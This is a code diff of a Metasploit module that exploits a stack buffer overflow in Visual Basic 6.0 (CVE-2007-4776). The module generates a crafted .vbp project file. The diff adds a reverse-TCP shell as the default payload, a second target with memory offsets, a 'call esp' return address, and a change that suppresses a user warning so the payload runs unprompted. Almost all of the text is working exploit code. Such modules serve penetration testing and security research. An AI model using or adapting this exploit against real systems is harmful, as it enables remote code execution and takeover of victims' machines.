@@ -12,21 +12,28 @@ def initialize(info = {})
12
12
super (
13
13
update_info (
14
14
info ,
15
- 'Name' => 'Microsoft Visual Basic VBP Buffer Overflow' ,
15
+ 'Name' => 'Microsoft Visual Basic VBP Stack Buffer Overflow' ,
16
16
'Description' => %q{
17
- This module exploits a stack buffer overflow in Microsoft Visual
18
- Basic 6.0. When a specially crafted vbp file containing a long
19
- reference line, an attacker may be able to execute arbitrary
20
- code.
17
+ This module exploits a stack buffer overflow in Microsoft Visual Basic
18
+ 6.0. A specially crafted Visual Basic Project (VBP) file containing
19
+ a long reference line can be used to execute arbitrary code.
21
20
} ,
22
21
'License' => MSF_LICENSE ,
23
- 'Author' => [ 'MC' ] ,
22
+ 'Arch' => [ ARCH_X86 ] ,
23
+ 'Author' => [
24
+ 'Koshi' , # Discovery and exploit
25
+ 'MC' , # Metasploit
26
+ 'bcoles' , # Offsets for XP x86-64
27
+ ] ,
24
28
'References' => [
25
29
[ 'CVE' , '2007-4776' ] ,
30
+ [ 'CWE' , '119' ] ,
31
+ [ 'EDB' , '4361' ] ,
26
32
[ 'OSVDB' , '36936' ] ,
27
33
[ 'BID' , '25629' ]
28
34
] ,
29
35
'DefaultOptions' => {
36
+ 'PAYLOAD' => 'windows/shell/reverse_tcp' ,
30
37
'EXITFUNC' => 'process' ,
31
38
'DisablePayloadHandler' => true
32
39
} ,
@@ -38,38 +45,66 @@ def initialize(info = {})
38
45
} ,
39
46
'Platform' => 'win' ,
40
47
'Targets' => [
41
- [ 'Windows XP SP2 English' , { 'Ret' => 0x0fabd271 , 'Scratch' => 0x7ffddfb4 } ] ,
48
+ [
49
+ 'Windows XP SP0-SP3 (x86) (English)' , {
50
+ 'Ret' => 0x0fabd271 , # call esp ; vba6.dll
51
+ 'Scratch' => 0x7ffddfb4 # Address=0x7ffdd000; Size=0x1000; Access=RW; InitialAccess=RW
52
+ }
53
+ ] ,
54
+ [
55
+ 'Windows XP SP1-SP2 (x86-64) (English)' , {
56
+ 'Ret' => 0x0fabd271 , # call esp ; vba6.dll
57
+ 'Scratch' => 0x7efa9010 # Address=0x7efa9000; Size=0x1000; Access=RW; InitialAccess=RW
58
+ }
59
+ ] ,
42
60
] ,
43
61
'Privileged' => false ,
44
62
'DisclosureDate' => '2007-09-04' ,
45
- 'DefaultTarget' => 0
63
+ 'DefaultTarget' => 0 ,
64
+ 'Notes' => {
65
+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
66
+ 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
67
+ 'Reliability' => [ UNRELIABLE_SESSION ]
68
+ }
46
69
)
47
70
)
48
71
49
72
register_options (
50
73
[
51
- OptString . new ( 'FILENAME' , [ true , 'The file name.' , 'msf.vbp' ] ) ,
74
+ OptString . new ( 'FILENAME' , [ true , 'The project file name.' , 'msf.vbp' ] ) ,
52
75
]
53
76
)
54
77
end
55
78
56
79
def exploit
57
- sploit = rand_text_alpha_upper ( 496 ) + [ target . ret ] . pack ( 'V' )
58
- sploit << rand_text_alpha_upper ( 12 ) + [ target [ 'Scratch' ] ] . pack ( 'V' )
59
- sploit << make_nops ( 24 ) + payload . encoded
80
+ form_name = "Form#{ rand ( 1 ..9 ) } "
81
+
82
+ sploit = rand_text_alpha_upper ( 496 )
83
+ sploit << [ target . ret ] . pack ( 'V' )
84
+ sploit << rand_text_alpha_upper ( 12 )
85
+ sploit << [ target [ 'Scratch' ] ] . pack ( 'V' )
86
+ sploit << make_nops ( 24 )
87
+ sploit << payload . encoded
60
88
61
89
vbp = "Type=Exe\r \n "
62
- vbp << "Form=Form2.frm\r \n "
63
- vbp << "Reference=*\\ G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\ ..\\ ..\\ ..\\ WINNT\\ System32\\ stdole2.tlb#OLE Automation"
64
- vbp << sploit + "\r \n "
65
- vbp << "Startup=\" Form2\" \r \n "
90
+
91
+ # We exclude the "Form" field so we don't have to ship a form file (.frm)
92
+ # along with the project file (.vbp). If the specified form file is not
93
+ # present within the same directory as the project file, the user is warned
94
+ # the file does not exist, and is prompted to confirm loading the project.
95
+ # Selecting "No" halts loading the project and prevents payload execution.
96
+ # vbp << "Form=#{form_name}.frm\r\n"
97
+
98
+ vbp << 'Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation'
99
+ vbp << "#{ sploit } \r \n "
100
+ vbp << "Startup=\" #{ form_name } \" \r \n "
66
101
vbp << "Command32=\" \" \r \n "
67
- vbp << "Name=\" Project2 \" \r \n "
102
+ vbp << "Name=\" Project #{ rand ( 1 .. 9 ) } \" \r \n "
68
103
vbp << "HelpContextID=\" 0\" \r \n "
69
104
vbp << "CompatibleMode=\" 0\" \r \n "
70
105
vbp << "MajorVer=1\r \n "
71
- vbp << "MinorVer=0 \r \n "
72
- vbp << "RevisionVer=0 \r \n "
106
+ vbp << "MinorVer=#{ rand ( 1 .. 9 ) } \r \n "
107
+ vbp << "RevisionVer=#{ rand ( 1 .. 9 ) } \r \n "
73
108
vbp << "AutoIncrementVer=0\r \n "
74
109
vbp << "ServerSupportFiles=0\r \n "
75
110
vbp << "VersionCompanyName=\" \" \r \n "
@@ -91,7 +126,7 @@ def exploit
91
126
vbp << "[MS Transaction Server]\r \n "
92
127
vbp << "AutoRefresh=1\r \n "
93
128
94
- print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
129
+ print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file for #{ target . name } ..." )
95
130
96
131
file_create ( vbp )
97
132
end
0 commit comments